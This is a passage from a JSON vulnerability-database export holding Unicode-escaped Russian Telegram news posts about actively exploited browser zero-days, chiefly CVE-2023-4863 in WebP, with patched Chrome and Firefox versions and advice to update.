\u043a\u0430\u043a JPEG \u0438\u043b\u0438 PNG, WebP \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u043e\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u0438 \u043c\u0435\u043d\u044c\u0448\u0435\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u0444\u0430\u0439\u043b\u0430, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u043c \u0432\u044b\u0431\u043e\u0440\u043e\u043c \u0434\u043b\u044f \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0438 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u0442\u0440\u0430\u0444\u0438\u043a\u0430.\n\nGoogle \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u043f\u0430\u0442\u0447\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u043d\u0430\u043b\u044b. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Chrome \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows, Mac \u0438 Linux \u0434\u043e\u043b\u0436\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.187 (Mac \u0438 Linux) \u0438 116.0.5845.187/.188 (Windows), \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0443\u0433\u0440\u043e\u0437\u0443.\n\n\u0422\u0435\u043a\u0443\u0449\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Chrome \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u043e\u0442\u043a\u0440\u044b\u0432 \u043c\u0435\u043d\u044e \u00ab\u041f\u043e\u043c\u043e\u0449\u044c\u00bb > \u00ab\u041e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 Google Chrome\u00bb. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e, \u043e\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 Apple Security Engineering and Architecture (SEAR) \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 Citizen Lab \u043f\u0440\u0438 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0435 \u0422\u043e\u0440\u043e\u043d\u0442\u043e. Citizen Lab \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u044b\u044f\u0432\u043b\u044f\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0434\u043b\u044f \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u043f\u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0441\u0442\u043e\u0432.\n\n\u041f\u043e\u043a\u0430 \u0447\u0442\u043e Google \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0430 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0430 \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0441\u044b\u043b\u0430\u044f\u0441\u044c \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u0430\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432. \u00ab\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0435\u0442\u0430\u043b\u044f\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-09-12T15:21:43.000000Z"}, {"uuid": "a2349ff7-ff89-424f-8a65-0a37bf098bd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/itsec_news/3192", "content": "\u200b\u26a1\ufe0f\u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 WebP \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043e\u0440\u0443\u0436\u0438\u0435\u043c: Mozilla \u0438 Google \u0431\u043e\u0440\u044e\u0442\u0441\u044f \u0441 0day \u0432 \u0441\u0432\u043e\u0438\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445.\n\n\ud83d\udcac Mozilla \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Firefox \u0438 Thunderbird, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0434\u0435\u043d\u044c \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Chrome.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 CVE-2023-4863 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f WebP. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043f\u0430\u043c\u044f\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.\n\n\u041e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Apple Security Engineering and Architecture (SEAR) \u0438 Citizen Lab \u0432 \u0448\u043a\u043e\u043b\u0435 \u041c\u0443\u043d\u043a\u0430 \u043f\u0440\u0438 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0435 \u0422\u043e\u0440\u043e\u043d\u0442\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u0432 Firefox 117.0.1, Firefox ESR 115.2.1, Firefox ESR 102.15.1, Thunderbird 102.15.1 \u0438 Thunderbird 115.2.2.\n\n\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0421\u0428\u0410 (CISA) \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-33246 (CVSS: 9.8), \u0432\u043b\u0438\u044f\u044e\u0449\u0443\u044e \u043d\u0430 Apache RocketMQ, \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 RocketMQ. \u0425\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 RocketMQ.\n\n\u0422\u0430\u043a\u0436\u0435 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u043d\u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0435 Reddit \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 AtlasVPN \u0434\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0436\u0435\u043b\u0430\u0432\u0448\u0438\u0439 \u043e\u0441\u0442\u0430\u0442\u044c\u0441\u044f \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0440\u0430\u0431\u043e\u0447\u0438\u0439 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b \u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442, \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0432 \u043a\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043d\u0430 \u0441\u0432\u043e\u0451\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c \u0441\u0430\u0439\u0442\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c\u0443 IP-\u0430\u0434\u0440\u0435\u0441\u0443 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f Linux-\u0432\u0435\u0440\u0441\u0438\u0438 VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-09-13T07:40:04.000000Z"}, {"uuid": "2ce4f486-c225-4fe0-846f-aed37452eb39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/itsec_news/3885", "content": "\u200b\u26a1\ufe0fCVE-2023-7024: \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 0-day \u0432 Chrome \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432\n\n\ud83d\udcac \u0412\u0447\u0435\u0440\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Chrome, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0443\u044e zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 CVE-2023-7024 , \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 WebRTC. \u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044f\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435. \u0412 Google \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2023-7024 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u0430\u043b\u0430 \u0432\u043e\u0441\u044c\u043c\u043e\u0439 \u043f\u043e \u0441\u0447\u0451\u0442\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u00abzero-day\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0432 Chrome \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430.\n\n\u041a \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f:\n\nCVE-2023-2033 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8;\n\nCVE-2023-2136 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 9.6) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0432 Skia;\n\nCVE-2023-3079 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8;\n\nCVE-2023-4762 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8;\n\nCVE-2023-4863 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 WebP;\n\nCVE-2023-5217 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 8.8) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 vp8 \u0432 libvpx;\n\nCVE-2023-6345 (CVSS \u043e\u0446\u0435\u043d\u043a\u0430: 9.6) \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u0432 Skia.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u0441\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c\u0438 \u0442\u0438\u043f\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 2023 \u0433\u043e\u0434\u0443 \u0441\u0442\u0430\u043b\u0438: \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430, \u043e\u0431\u0445\u043e\u0434 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u043e\u043c, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0432\u0432\u043e\u0434\u0430.\n\n\u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Chrome \u043d\u0430 \u043b\u044e\u0431\u044b\u0445 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u044f 120.0.6099.129 \u0438 \u0441\u0432\u0435\u0436\u0435\u0435.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 Chromium, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Microsoft Edge, Brave, Opera, Vivaldi \u0438 \u042f\u043d\u0434\u0435\u043a\u0441 \u0411\u0440\u0430\u0443\u0437\u0435\u0440, \u0442\u0430\u043a\u0436\u0435 